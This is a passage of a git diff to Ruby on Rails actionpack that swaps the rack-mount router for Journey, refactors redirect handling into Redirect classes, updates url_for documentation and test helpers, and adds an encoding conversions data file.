- options[:constraints] = { "#{parent_resource.singular}_id".to_sym => id_constraint } if id_constraint?
- end
+ options = { :as => parent_resource.member_name }
+ options[:constraints] = {
+ :"#{parent_resource.singular}_id" => id_constraint
+ } if id_constraint?
+
+ options
end
def id_constraint? #:nodoc:
@@ -1438,7 +1451,7 @@ module ActionDispatch
name_prefix = @scope[:as]
if parent_resource
- return nil if as.nil? && action.nil?
+ return nil unless as || action
collection_name = parent_resource.collection_name
member_name = parent_resource.member_name
@@ -1464,19 +1477,6 @@ module ActionDispatch
end
end
- module Shorthand #:nodoc:
- def match(*args)
- if args.size == 1 && args.last.is_a?(Hash)
- options = args.pop
- path, to = options.find { |name, value| name.is_a?(String) }
- options.merge!(:to => to).delete(path)
- super(path, options)
- else
- super
- end
- end
- end
-
def initialize(set) #:nodoc:
@set = set
@scope = { :path_names => @set.resources_path_names }
@@ -1487,7 +1487,6 @@ module ActionDispatch
include Redirection
include Scoping
include Resources
- include Shorthand
end
end
end
diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb
index 804991ad5f..330400e139 100644
--- a/actionpack/lib/action_dispatch/routing/redirection.rb
+++ b/actionpack/lib/action_dispatch/routing/redirection.rb
@@ -2,6 +2,54 @@ require 'action_dispatch/http/request'
module ActionDispatch
module Routing
+ class Redirect # :nodoc:
+ attr_reader :status, :block
+
+ def initialize(status, block)
+ @status = status
+ @block = block
+ end
+
+ def call(env)
+ req = Request.new(env)
+
+ uri = URI.parse(path(req.symbolized_path_parameters, req))
+ uri.scheme ||= req.scheme
+ uri.host ||= req.host
+ uri.port ||= req.port unless req.standard_port?
+
+ body = %(<html><body>You are being <a href="#{ERB::Util.h(uri.to_s)}">redirected</a>.</body></html>)
+
+ headers = {
+ 'Location' => uri.to_s,
+ 'Content-Type' => 'text/html',
+ 'Content-Length' => body.length.to_s
+ }
+
+ [ status, headers, [body] ]
+ end
+
+ def path(params, request)
+ block.call params, request
+ end
+ end
+
+ class OptionRedirect < Redirect # :nodoc:
+ alias :options :block
+
+ def path(params, request)
+ url_options = {
+ :protocol => request.protocol,
+ :host => request.host,
+ :port => request.optional_port,
+ :path => request.path,
+ :params => request.query_parameters
+ }.merge options
+
+ ActionDispatch::Http::URL.url_for url_options
+ end
+ end
+
module Redirection
# Redirect any path to another path:
@@ -40,71 +88,27 @@ module ActionDispatch
options = args.last.is_a?(Hash) ? args.pop : {}
status = options.delete(:status) || 301
+ return OptionRedirect.new(status, options) if options.any?
+
path = args.shift
- path_proc = if path.is_a?(String)
- proc { |params| (params.empty? || !path.match(/%\{\w*\}/)) ? path : (path % params) }
- elsif options.any?
- options_proc(options)
- elsif path.respond_to?(:call)
- proc { |params, request| path.call(params, request) }
- elsif block
- block
- else
- raise ArgumentError, "redirection argument not supported"
- end
+ block = lambda { |params, request|
+ (params.empty? || !path.match(/%\{\w*\}/)) ? path : (path % params)
+ } if String === path
- redirection_proc(status, path_proc)
- end
+ block = path if path.respond_to? :call
- private
-
- def options_proc(options)
- proc do |params, request|
- path = if options[:path].nil?
- request.path
- elsif params.empty? || !options[:path].match(/%\{\w*\}/)
- options.delete(:path)
- else
- (options.delete(:path) % params)
- end
-
- default_options = {
- :protocol => request.protocol,
- :host => request.host,
- :port => request.optional_port,
- :path => path,
- :params => request.query_parameters
- }
-
- ActionDispatch::Http::URL.url_for(options.reverse_merge(default_options))
- end
+ # :FIXME: remove in Rails 4.0
+ if block && block.respond_to?(:arity) && block.arity < 2
+ msg = "redirect blocks with arity of #{block.arity} are deprecated. Your block must take 2 parameters: the environment, and a request object"
+ ActiveSupport::Deprecation.warn msg
+ block = lambda { |params, _| block.call(params) }
end
- def redirection_proc(status, path_proc)
- lambda do |env|
- req = Request.new(env)
-
- params = [req.symbolized_path_parameters]
- params << req if path_proc.arity > 1
-
- uri = URI.parse(path_proc.call(*params))
- uri.scheme ||= req.scheme
- uri.host ||= req.host
- uri.port ||= req.port unless req.standard_port?
-
- body = %(<html><body>You are being <a href="#{ERB::Util.h(uri.to_s)}">redirected</a>.</body></html>)
-
- headers = {
- 'Location' => uri.to_s,
- 'Content-Type' => 'text/html',
- 'Content-Length' => body.length.to_s
- }
-
- [ status, headers, [body] ]
- end
- end
+ raise ArgumentError, "redirection argument not supported" unless block
+ Redirect.new status, block
+ end
end
end
-end \ No newline at end of file
+end
diff --git a/actionpack/lib/action_dispatch/routing/route.rb b/actionpack/lib/action_dispatch/routing/route.rb
deleted file mode 100644
index 10b3d38346..0000000000
--- a/actionpack/lib/action_dispatch/routing/route.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-module ActionDispatch
- module Routing
- class Route #:nodoc:
- attr_reader :app, :conditions, :defaults, :name
- attr_reader :path, :requirements, :set
-
- def initialize(set, app, conditions, requirements, defaults, name, anchor)
- @set = set
- @app = app
- @defaults = defaults
- @name = name
-
- # FIXME: we should not be doing this much work in a constructor.
-
- @requirements = requirements.merge(defaults)
- @requirements.delete(:controller) if @requirements[:controller].is_a?(Regexp)
- @requirements.delete_if { |k, v|
- v == Regexp.compile("[^#{SEPARATORS.join}]+")
- }
-
- if path = conditions[:path_info]
- @path = path
- conditions[:path_info] = ::Rack::Mount::Strexp.compile(path, requirements, SEPARATORS, anchor)
- end
-
- @verbs = conditions[:request_method] || []
-
- @conditions = conditions.dup
-
- # Rack-Mount requires that :request_method be a regular expression.
- # :request_method represents the HTTP verb that matches this route.
- #
- # Here we munge values before they get sent on to rack-mount.
- @conditions[:request_method] = %r[^#{verb}$] unless @verbs.empty?
- @conditions[:path_info] = Rack::Mount::RegexpWithNamedGroups.new(@conditions[:path_info]) if @conditions[:path_info]
- @conditions.delete_if{ |k,v| k != :path_info && !valid_condition?(k) }
- @requirements.delete_if{ |k,v| !valid_condition?(k) }
- end
-
- def verb
- @verbs.join '|'
- end
-
- def segment_keys
- @segment_keys ||= conditions[:path_info].names.compact.map { |key| key.to_sym }
- end
-
- def to_s
- @to_s ||= begin
- "%-6s %-40s %s" % [(verb || :any).to_s.upcase, path, requirements.inspect]
- end
- end
-
- private
- def valid_condition?(method)
- segment_keys.include?(method) || set.valid_conditions.include?(method)
- end
- end
- end
-end
diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb
index 11228c597d..2bcde16110 100644
--- a/actionpack/lib/action_dispatch/routing/route_set.rb
+++ b/actionpack/lib/action_dispatch/routing/route_set.rb
@@ -1,4 +1,4 @@
-require 'rack/mount'
+require 'journey'
require 'forwardable'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/object/to_query'
@@ -37,7 +37,7 @@ module ActionDispatch
# If this is a default_controller (i.e. a controller specified by the user)
# we should raise an error in case it's not found, because it usually means
- # an user error. However, if the controller was retrieved through a dynamic
+ # a user error. However, if the controller was retrieved through a dynamic
# segment, as in :controller(/:action), we should simply return nil and
# delegate the control back to Rack cascade. Besides, if this is not a default
# controller, it means we should respect the @scope[:module] parameter.
@@ -165,13 +165,14 @@ module ActionDispatch
remove_possible_method :#{selector}
def #{selector}(*args)
options = args.extract_options!
+ result = #{options.inspect}
if args.any?
- options[:_positional_args] = args
- options[:_positional_keys] = #{route.segment_keys.inspect}
+ result[:_positional_args] = args
+ result[:_positional_keys] = #{route.segment_keys.inspect}
end
- options ? #{options.inspect}.merge(options) : #{options.inspect}
+ result.merge(options)
end
protected :#{selector}
END_EVAL
@@ -205,29 +206,42 @@ module ActionDispatch
end
end
- attr_accessor :set, :routes, :named_routes, :default_scope
+ attr_accessor :formatter, :set, :named_routes, :default_scope, :router
attr_accessor :disable_clear_and_finalize, :resources_path_names
attr_accessor :default_url_options, :request_class, :valid_conditions
+ alias :routes :set
+
def self.default_resources_path_names
{ :new => 'new', :edit => 'edit' }
end
def initialize(request_class = ActionDispatch::Request)
- self.routes = []
self.named_routes = NamedRouteCollection.new
self.resources_path_names = self.class.default_resources_path_names.dup
self.default_url_options = {}
self.request_class = request_class
- self.valid_conditions = request_class.public_instance_methods.map { |m| m.to_sym }
+ @valid_conditions = {}
+
+ request_class.public_instance_methods.each { |m|
+ @valid_conditions[m.to_sym] = true
+ }
+ @valid_conditions[:controller] = true
+ @valid_conditions[:action] = true
+
self.valid_conditions.delete(:id)
- self.valid_conditions.push(:controller, :action)
- @append = []
- @prepend = []
+ @append = []
+ @prepend = []
@disable_clear_and_finalize = false
- clear!
+ @finalized = false
+
+ @set = Journey::Routes.new
+ @router = Journey::Router.new(@set, {
+ :parameters_key => PARAMETERS_KEY,
+ :request_class => request_class})
+ @formatter = Journey::Formatter.new @set
end
def draw(&block)
@@ -263,17 +277,13 @@ module ActionDispatch
return if @finalized
@append.each { |blk| eval_block(blk) }
@finalized = true
- @set.freeze
end
def clear!
@finalized = false
- routes.clear
named_routes.clear
- @set = ::Rack::Mount::RouteSet.new(
- :parameters_key => PARAMETERS_KEY,
- :request_class => request_class
- )
+ set.clear
+ formatter.clear
@prepend.each { |blk| eval_block(blk) }
end
@@ -341,26 +351,54 @@ module ActionDispatch
def add_route(app, conditions = {}, requirements = {}, defaults = {}, name = nil, anchor = true)
raise ArgumentError, "Invalid route name: '#{name}'" unless name.blank? || name.to_s.match(/^[_a-z]\w*$/i)
- route = Route.new(self, app, conditions, requirements, defaults, name, anchor)
- @set.add_route(route.app, route.conditions, route.defaults, route.name)
+
+ path = build_path(conditions.delete(:path_info), requirements, SEPARATORS, anchor)
+ conditions = build_conditions(conditions, valid_conditions, path.names.map { |x| x.to_sym })
+
+ route = @set.add_route(app, path, conditions, defaults, name)
named_routes[name] = route if name
- routes << route
route
end
+ def build_path(path, requirements, separators, anchor)
+ strexp = Journey::Router::Strexp.new(
+ path,
+ requirements,
+ SEPARATORS,
+ anchor)
+
+ Journey::Path::Pattern.new(strexp)
+ end
+ private :build_path
+
+ def build_conditions(current_conditions, req_predicates, path_values)
+ conditions = current_conditions.dup
+
+ verbs = conditions[:request_method] || []
+
+ # Rack-Mount requires that :request_method be a regular expression.
+ # :request_method represents the HTTP verb that matches this route.
+ #
+ # Here we munge values before they get sent on to rack-mount.
+ unless verbs.empty?
+ conditions[:request_method] = %r[^#{verbs.join('|')}$]
+ end
+ conditions.delete_if { |k,v| !(req_predicates.include?(k) || path_values.include?(k)) }
+
+ conditions
+ end
+ private :build_conditions
+
class Generator #:nodoc:
- PARAMETERIZE = {
- :parameterize => lambda do |name, value|
- if name == :controller
- value
- elsif value.is_a?(Array)
- value.map { |v| Rack::Mount::Utils.escape_uri(v.to_param) }.join('/')
- else
- return nil unless param = value.to_param
- param.split('/').map { |v| Rack::Mount::Utils.escape_uri(v) }.join("/")
- end
+ PARAMETERIZE = lambda do |name, value|
+ if name == :controller
+ value
+ elsif value.is_a?(Array)
+ value.map { |v| v.to_param }.join('/')
+ elsif param = value.to_param
+ param
end
- }
+ end
attr_reader :options, :recall, :set, :named_route
@@ -450,14 +488,14 @@ module ActionDispatch
end
def generate
- path, params = @set.set.generate(:path_info, named_route, options, recall, PARAMETERIZE)
+ path, params = @set.formatter.generate(:path_info, named_route, options, recall, PARAMETERIZE)
raise_routing_error unless path
return [path, params.keys] if @extras
[path, params]
- rescue Rack::Mount::RoutingError
+ rescue Journey::Router::RoutingError
raise_routing_error
end
@@ -529,12 +567,12 @@ module ActionDispatch
def call(env)
finalize!
- @set.call(env)
+ @router.call(env)
end
def recognize_path(path, environment = {})
method = (environment[:method] || "GET").to_s.upcase
- path = Rack::Mount::Utils.normalize_path(path) unless path =~ %r{://}
+ path = Journey::Router::Utils.normalize_path(path) unless path =~ %r{://}
begin
env = Rack::MockRequest.env_for(path, {:method => method})
@@ -543,7 +581,7 @@ module ActionDispatch
end
req = @request_class.new(env)
- @set.recognize(req) do |route, matches, params|
+ @router.recognize(req) do |route, matches, params|
params.each do |key, value|
if value.is_a?(String)
value = value.dup.force_encoding(Encoding::BINARY) if value.encoding_aware?
diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb
index 480144fe9d..39ba83fb9a 100644
--- a/actionpack/lib/action_dispatch/routing/url_for.rb
+++ b/actionpack/lib/action_dispatch/routing/url_for.rb
@@ -42,7 +42,7 @@ module ActionDispatch
# url_for(:controller => 'users',
# :action => 'new',
# :message => 'Welcome!',
- # :host => 'www.example.com') # Changed this.
+ # :host => 'www.example.com')
# # => "http://www.example.com/users/new?message=Welcome%21"
#
# By default, all controllers and views have access to a special version of url_for,
@@ -52,7 +52,7 @@ module ActionDispatch
#
# For convenience reasons, mailers provide a shortcut for ActionController::UrlFor#url_for.
# So within mailers, you only have to type 'url_for' instead of 'ActionController::UrlFor#url_for'
- # in full. However, mailers don't have hostname information, and what's why you'll still
+ # in full. However, mailers don't have hostname information, and that's why you'll still
# have to specify the <tt>:host</tt> argument when generating URLs in mailers.
#
#
@@ -116,9 +116,10 @@ module ActionDispatch
# If <tt>:only_path</tt> is false, this option must be
# provided either explicitly, or via +default_url_options+.
# * <tt>:subdomain</tt> - Specifies the subdomain of the link, using the +tld_length+
- # to split the domain from the host.
- # * <tt>:domain</tt> - Specifies the domain of the link, using the +tld_length+
# to split the subdomain from the host.
+ # If false, removes all subdomains from the host part of the link.
+ # * <tt>:domain</tt> - Specifies the domain of the link, using the +tld_length+
+ # to split the domain from the host.
# * <tt>:tld_length</tt> - Number of labels the TLD id composed of, only used if
# <tt>:subdomain</tt> or <tt>:domain</tt> are supplied. Defaults to
# <tt>ActionDispatch::Http::URL.tld_length</tt>, which in turn defaults to 1.
@@ -131,16 +132,20 @@ module ActionDispatch
#
# Examples:
#
- # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :port => '8080' # => 'http://somehost.org:8080/tasks/testing'
- # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :anchor => 'ok', :only_path => true # => '/tasks/testing#ok'
- # url_for :controller => 'tasks', :action => 'testing', :trailing_slash => true # => 'http://somehost.org/tasks/testing/'
- # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :number => '33' # => 'http://somehost.org/tasks/testing?number=33'
+ # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :port => '8080'
+ # # => 'http://somehost.org:8080/tasks/testing'
+ # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :anchor => 'ok', :only_path => true
+ # # => '/tasks/testing#ok'
+ # url_for :controller => 'tasks', :action => 'testing', :trailing_slash => true
+ # # => 'http://somehost.org/tasks/testing/'
+ # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :number => '33'
+ # # => 'http://somehost.org/tasks/testing?number=33'
def url_for(options = nil)
case options
when String
options
when nil, Hash
- _routes.url_for((options || {}).reverse_merge!(url_options).symbolize_keys)
+ _routes.url_for((options || {}).reverse_merge(url_options).symbolize_keys)
else
polymorphic_url(options)
end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/selector.rb b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
index 5fa91d1a76..b4555f4f59 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/selector.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
@@ -415,9 +415,9 @@ module ActionDispatch
assert !deliveries.empty?, "No e-mail in delivery list"
for delivery in deliveries
- for part in delivery.parts
+ for part in (delivery.parts.empty? ? [delivery] : delivery.parts)
if part["Content-Type"].to_s =~ /^text\/html\W/
- root = HTML::Document.new(part.body).root
+ root = HTML::Document.new(part.body.to_s).root
assert_select root, ":root", &block
end
end
diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb
index aae5752c93..0f1bb9f260 100644
--- a/actionpack/lib/action_dispatch/testing/integration.rb
+++ b/actionpack/lib/action_dispatch/testing/integration.rb
@@ -241,8 +241,8 @@ module ActionDispatch
end
# Performs the actual request.
- def process(method, path, parameters = nil, env = nil)
- env ||= {}
+ def process(method, path, parameters = nil, rack_env = nil)
+ rack_env ||= {}
if path =~ %r{://}
location = URI.parse(path)
https! URI::HTTPS === location if location.scheme
@@ -258,7 +258,7 @@ module ActionDispatch
hostname, port = host.split(':')
- default_env = {
+ env = {
:method => method,
:params => parameters,
@@ -276,7 +276,7 @@ module ActionDispatch
session = Rack::Test::Session.new(_mock_session)
- env.reverse_merge!(default_env)
+ env.merge!(rack_env)
# NOTE: rack-test v0.5 doesn't build a default uri correctly
# Make sure requested path is always a full uri
diff --git a/actionpack/lib/action_dispatch/testing/test_process.rb b/actionpack/lib/action_dispatch/testing/test_process.rb
index f668b81b45..b08ff41950 100644
--- a/actionpack/lib/action_dispatch/testing/test_process.rb
+++ b/actionpack/lib/action_dispatch/testing/test_process.rb
@@ -5,12 +5,7 @@ require 'active_support/core_ext/hash/indifferent_access'
module ActionDispatch
module TestProcess
def assigns(key = nil)
- assigns = {}.with_indifferent_access
- @controller.instance_variable_names.each do |ivar|
- next if ActionController::Base.protected_instance_variables.include?(ivar)
- assigns[ivar[1..-1]] = @controller.instance_variable_get(ivar)
- end
-
+ assigns = @controller.view_assigns.with_indifferent_access
key.nil? ? assigns : assigns[key]
end
diff --git a/actionpack/lib/action_view.rb b/actionpack/lib/action_view.rb
index d7229419a9..c24109a547 100644
--- a/actionpack/lib/action_view.rb
+++ b/actionpack/lib/action_view.rb
@@ -33,6 +33,7 @@ module ActionView
autoload :AssetPaths
autoload :Base
autoload :Context
+ autoload :CompiledTemplates, "action_view/context"
autoload :Helpers
autoload :LookupContext
autoload :PathSet
diff --git a/actionpack/lib/action_view/asset_paths.rb b/actionpack/lib/action_view/asset_paths.rb
index aae8377f8a..aa5db0d7bc 100644
--- a/actionpack/lib/action_view/asset_paths.rb
+++ b/actionpack/lib/action_view/asset_paths.rb
@@ -16,19 +16,17 @@ module ActionView
# roots. Rewrite the asset path for cache-busting asset ids. Include
# asset host, if configured, with the correct request protocol.
#
- # When include_host is true and the asset host does not specify the protocol
- # the protocol parameter specifies how the protocol will be added.
# When :relative (default), the protocol will be determined by the client using current protocol
# When :request, the protocol will be the request protocol
# Otherwise, the protocol is used (E.g. :http, :https, etc)
- def compute_public_path(source, dir, ext = nil, include_host = true, protocol = nil)
+ def compute_public_path(source, dir, options = {})
source = source.to_s
return source if is_uri?(source)
- source = rewrite_extension(source, dir, ext) if ext
- source = rewrite_asset_path(source, dir)
- source = rewrite_relative_url_root(source, relative_url_root) if has_request?
- source = rewrite_host_and_protocol(source, protocol) if include_host
+ source = rewrite_extension(source, dir, options[:ext]) if options[:ext]
+ source = rewrite_asset_path(source, dir, options)
+ source = rewrite_relative_url_root(source, relative_url_root)
+ source = rewrite_host_and_protocol(source, options[:protocol])
source
end
@@ -69,7 +67,7 @@ module ActionView
host = "#{compute_protocol(protocol)}#{host}"
end
end
- host.nil? ? source : "#{host}#{source}"
+ host ? "#{host}#{source}" : source
end
def compute_protocol(protocol)
@@ -88,9 +86,7 @@ module ActionView
end
def default_protocol
- protocol = @config.action_controller.default_asset_host_protocol if @config.action_controller.present?
- protocol ||= @config.default_asset_host_protocol
- protocol || (has_request? ? :request : :relative)
+ @config.default_asset_host_protocol || (has_request? ? :request : :relative)
end
def invalid_asset_host!(help_message)
@@ -107,8 +103,8 @@ module ActionView
if host.respond_to?(:call)
args = [source]
arity = arity_of(host)
- if arity > 1 && !has_request?
- invalid_asset_host!("Remove the second argument to your asset_host Proc if you do not need the request.")
+ if (arity > 1 || arity < -2) && !has_request?
+ invalid_asset_host!("Remove the second argument to your asset_host Proc if you do not need the request, or make it optional.")
end
args << current_request if (arity > 1 || arity < 0) && has_request?
host.call(*args)
@@ -119,18 +115,11 @@ module ActionView
end
def relative_url_root
- config = controller.config if controller.respond_to?(:config)
- config ||= config.action_controller if config.action_controller.present?
- config ||= config
config.relative_url_root
end
def asset_host_config
- if config.action_controller.present?
- config.action_controller.asset_host
- else
- config.asset_host
- end
+ config.asset_host
end
# Returns the current request if one exists.
diff --git a/actionpack/lib/action_view/base.rb b/actionpack/lib/action_view/base.rb
index 36a0a20066..36c49d9c91 100644
--- a/actionpack/lib/action_view/base.rb
+++ b/actionpack/lib/action_view/base.rb
@@ -4,6 +4,7 @@ require 'active_support/core_ext/class/attribute'
require 'active_support/core_ext/array/wrap'
require 'active_support/ordered_options'
require 'action_view/log_subscriber'
+require 'active_support/core_ext/module/deprecation'
module ActionView #:nodoc:
# = Action View Base
@@ -115,7 +116,7 @@ module ActionView #:nodoc:
# xml.language "en-us"
# xml.ttl "40"
#
- # for item in @recent_items
+ # @recent_items.each do |item|
# xml.item do
# xml.title(item_title(item))
# xml.description(item_description(item)) if item_description(item)
@@ -161,6 +162,7 @@ module ActionView #:nodoc:
value.is_a?(PathSet) ?
value.dup : ActionView::PathSet.new(Array.wrap(value))
end
+ deprecate :process_view_paths
def xss_safe? #:nodoc:
true
diff --git a/actionpack/lib/action_view/data/encoding_conversions.txt b/actionpack/lib/action_view/data/encoding_conversions.txt
new file mode 100644
index 0000000000..fdfbe28803
--- /dev/null
+++ b/actionpack/lib/action_view/data/encoding_conversions.txt
@@ -0,0 +1,88 @@
+ASCII-8BIT:UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+UTF-8:ASCII-8BIT,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+US-ASCII:ASCII-8BIT,UTF-8,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Big5:ASCII-8BIT,UTF-8,US-ASCII,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Big5-HKSCS:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Big5-UAO:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
